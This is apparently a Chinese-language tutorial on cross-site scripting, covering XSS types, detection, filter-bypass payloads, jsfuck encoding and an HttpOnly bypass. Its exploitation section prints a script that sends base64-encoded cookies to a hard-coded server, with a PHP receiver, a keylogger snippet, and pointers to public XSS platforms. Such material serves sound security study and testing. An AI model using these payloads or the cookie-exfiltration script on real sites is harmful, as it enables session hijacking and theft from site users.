一、XSS漏洞的概述

漏洞的介绍

XSS又叫CSS(CrossSiteScript),全称跨站脚本攻击。它指的是攻击者往Web页面或者URL里插入恶意JavaScript脚本代码,如果Web应用程序对于用户输入的内容没有过滤,那么当正常用户浏览该网页的时候,嵌入在Web页面里的恶意JavaScript脚本代码会被执行,从而达到恶意攻击正常用户的目的。

漏洞的位置
数据交互的地方 1、get post cookies headers方法
2、富文本编辑器
3、各类标签插入和自定义
数据输出的地方 1、用户资料
2、关键词、标签、说明
漏洞前提 1、可以控制的输入点
2、输入能返回到前端页面上被浏览器当成脚本语言解释执行

二、XSS危害

窃取用户Cookie,冒充用户身份进入网站(常见)

键盘记录

客户端信息探查

XSS getshell

劫持用户会话,执行任意操作

刷流量,执行弹窗广告

传播蠕虫病毒

…..

三、XSS检测

1、手工检测XSS

使用手工检测XSS漏洞是否存在时,最重要考虑的是哪里有输入、输入的数据在什么地方输出。

1、可得知输出位置

输入一些敏感字符,例如<、>、"、'、()等,请求后查看HTML源码,看这些输入的字符是否被转义

2、无法得知输出位置

非常多的web应用程序源代码不对外公开,这时在测试XSS时就有可能无法得知输入数据到底在何处显示,比如,测试某留言板是否存在XSS,那么在留言之后,可能需要经过管理员的审核才能显示,这时无法得知输入的数据在后台管理页面处于什么状态

2、自动检测XSS

APPSCAN、AWVS、BurpSuite等软件,都可以有效地检测XSS漏洞,但这类大型的漏扫工具除了检测XSS外,还会检测SQL注入、文件包含等漏洞,所以效率比较低。专业的XSS扫描工具可以更准确的扫描XSS漏洞,如:XSSER、XSSF。

工具与手动相结合,才能更好地检测XSS,比如:在扫描XSS时,很多扫描器一般无法检测非常规的XSS漏洞,因为在提交留言时可能需要短信验证,验证码填写等,这是工具无法做到的。

页面中js代码执行位置(4个–两个标签外、两个标签内)

语句 说明
<script>alert(1)</script> script标签中执行 –标签外(如body中) 推荐(不用点击,直接触发)*
<script src="x.js"></script> 调用执行 –标签外
<a href="javascript:alert(1)"></a> 伪协议触发(javascript不可少)–标签内
<p onclick="alert(1)"></p> 事件触发 –标签内 *

HTML实体编码

若实体编码,则不存在xss漏洞。将<、>分别实体编码为&lt;&gt;

注意:需要查看源码,不要用F12

1、标签中不显示其他标签

2、多个空格只显示一个,可用&nbsp;代替空格显示。

以&开头;结尾,中间放特殊字符的英文简写或16进制数字。

分类

类型 存储区 插入点
反射型 XSS URL HTML
存储型 XSS 后端数据库 HTML
DOM型 XSS 后端数据库/前端存储/URL前端 JavaScript

四、反射型XSS

概念:

是非持久性、参数型的跨站脚本。反射型XSS的JS代码在Web应用的参数(变量)中,如搜索框的反射型XSS。

存在位置

常见于通过URL传递参数的功能,如网站搜索、跳转等。

攻击手法:

需要欺骗用户自己去点击链接才能触发XSS代码,一般容易出现在搜索页面。

反射型xss漏洞poc:

<script>alert(/xss/)</script>(常用)

<script>confirm('xss')</script>

<script>prompt('xss')</script>

五、存储型XSS

概念:

持久性跨站脚本,是三种XSS中危害最大的。它是将恶意代码写进数据库或文件等可以永久保存数据的介质中。

存在位置:

常出现在留言板、发表评论或发表文章的地方(数据写入的地方)。

攻击手法:

通过留言板等功能,将攻击者精心构造XSS代码,保存到数据库中,当其他用户再次访问这个页面时,就会触发并执行恶意的XSS代码,从而窃取用户的敏感信息。

存储型xss漏洞poc:

同反射型xss

六、DOM型XSS

DOM的意思:

DOM文档对象模型(DocumentObjectModel,DOM)是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式

漏洞概念

不经过后端,DOM-XSS漏洞是基于文档对象模型的一种漏洞,简单去理解就是因为输出点在DOM。DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

攻击手法:

攻击者构造出特殊的URL,其中包含恶意代码。用户打开带有恶意代码的URL用户浏览器接收到响应后解析执行,前端JavaScript取出URL中的恶意代码并执行。恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作

常用DOM方法

方法 描述
getElementById() 返回带有指定ID的元素
getElementsByTagName() 返回带有指定标签的所有元素的节点列表
getElementsByClassName() 返回包含带有指定类名的所有元素的节点列表
appendchild() 把新节点添加到指定节点
removeChild() 删除子节点
replaceChild() 替换子节点
insertBefore() 在指定的子节点前面插入新的子节点
createAttribute() 创建属性节点
createElement() 创建元素节点

DOM型XSS漏洞poc

?message=<script>alert(/xss/)</script>

三种漏洞的区别

存储型XSS与反射型XSS的区别

存储型XSS的恶意代码存在数据库里,反射型XSS的恶意代码存在URL里

DOM型与其他两种XSS的区别

DOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端JavaScript自身的安全漏洞,而其他两种XSS都属于服务端的安全漏洞

七、XSS漏洞测试过程

1、判断是否是html实体编码(查看源代码)

单双引号尖括号等,是否转义

'"<>()

2、确定输出位置

3、判断闭合符

标签外,直接使用

标签内,需要闭合标签

4、绕过waf

标签 说明
a标签 存在onclick、onmousemove等事件,无onerror事件
img标签 存在onerror、onclick、onmousemove等事件
input标签 存在onchange、onmousemove等事件,无onload、onerror事件
svg标签 存在onload、onclick、onmousemove等事件

注:onload、onerror会在页面加载完成之后立刻触发,其他都要手动触发。优先选择自动触发事件。

八、XSS简单利用

1、XSS获取管理员权限(获取cookie)——重要

2、XSS键盘记录——重要

3、XSS获取内网IP

XSS获取cookie

alert(document.cookie)

自动发送请求的标签

语句 说明
<link rel="stylesheet" type="text/css" href=""> 链接标签
<img src=""> 图片标签
<script src=""></script> script标签
<iframe src=""></iframe> 内联框架标签
<video src=""></video> 视频标签
<audio src=""></audio> 音频标签

通过自发送标签,将cookie值base64编码后,发送到自己的服务器,即可获取目标cookie信息

使用<script src=http:\\xxx></script>加载压缩后的短网址,访问js文件

说明 语句
发送js s=document.createElement('script');s.src='http://192.168.21.66:9999/cookie.php?cookie=' + btoa(document.cookie);document.body.appendChild(s);
接收php `<?php if ($_GET[‘cookie’]) { file_put_contents(‘cookie.txt’, “IP:” . $_SERVER[‘REMOTE_ADDR’] . “\nCookie: “ . base64_decode($_GET[‘cookie’]) . “\n\n”, FILE_APPEND

XSS获取键盘记录

window.onkeypress=function(key){
console.log(key);
}

公开的XSS平台

https://xss.pt

https://xsshs.cn

<script>标签无法使用时,可用其他标签使用dom操作,生成<script>标签

注:script可以只写一半

beef框架

自带hook,可控制网站

XSS绕过方法

XSS绕过svg img

html实体编码,则不存在xss漏洞,也就不存在绕过

实体编码三种格式

&lt;
&#十进制
&#16进制

XSS的四种构造方法

构造方式 语句
利用<>构造HTML/JS <script>alert(/xss/)</script>
伪协议的方式构造XSS <a href="javascript:alert(/xss/)">touch me!</a> *
事件利用 <img src='./smile.jpg' onmouseover='alert(/xss/)'>
其他标签以及手法 <svg onload="alert(/xss/)"> *
<input onfocus=alert(/xss/) autofocus> 获取焦点

变形及绕过

方法 语句
大小写 <ahREf="javaScript:alert(/xss/)">clickme</a>
引号 HTML语言中对引号的使用不敏感,但是过滤函数对引号很严格
<img src="#" onerror="alert(/xss/)"/>
<img src='#' onerror='alert(/xss/)'/>
左斜线/代替空格 <Img sRc='#' Onerror="alert(/xss/)"/> ->
<Img/sRc='#'/Onerror='alert(/xss/)'/>
回车 添加水平制表符和回车符,分割语句,来绕过关键字检测
一些函数不可以加回车,比如事件:onmoveover、onerror等
对标签属性值进行转码 ASCII码、十进制编码、十六进制编码、base64编码(atob解码、btoa编码)、unicode编码等
<ahREf="javaScript:alert(/xss/)">clickme</a> - >
<AhREf="j&#97;v&#x61;script:alert(/xss/)">clickme!</a>
注:
可以在任何位置插入: Tab(&#9)、换行(&#10)、回车(&#13)
可以在头部位置插入: SOH(&#1)、STX(&#2)
<AhREf="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">clickme!</a>

其他:
jsfuck编码*
只能执行js代码,不能转html代码
http://www.jsfuck.com/
<img src=# onerror=alert(1)>中的alert(1)
拆分跨站 当应用程序没有过滤XSS关键字符(如<、>)却对输入字符长度有限制的情况下,可使用“拆分法”执行跨站脚本代码
<script>z='alert'</script> <script>z=z+'(/xss/)'</script> <script>eval(z)</script>
双写绕过 <scr<script>ipt>
CSS中的变形(了解) 使用全角字符:
width:expression(alert(/xss/))

注释会被浏览器忽略: width:expr/*~*/ession(alert(/x~s~s/)) 样式表中的[\]和[\0]:
<style>@import 'javasc\ri\0pt:alert("xss")';</style>

jsfuck编码

关键词 编码
false ![]
true !![]
undefined [][[]]
NaN +[![]]
0 +[]
1 +!+[]
2 !+[]+!+[]
10 [+!+[]]+[+[]]
Array []
Number +[]
String []+[]
Boolean ![]
Function []["filter"]
eval []["filter"]["constructor"](CODE)()
window []["filter"]["constructor"]("return this")()

补充

script只能使用常规语法,html实体编码时,可用svg、img代替

<svg onload=alert(1)>

<img="" onerror=alert(1)>

常用编码

html实体编码、jsfuck编码

HTTP-Only绕过

方法 说明
CVE-2012-0053 Apache服务器2.0-2.2版本存在个漏洞 CE-2012-0053,攻击者可通过向网站植入超大的Cookie,令其HTTP头超过Apache的LititRequestFieldSize (最大请求长度,4192字节),使得Apache返回400错误,状态页中包含了HttpOnly 保护的Cookie
HTML5的CORS特性 详见CSRF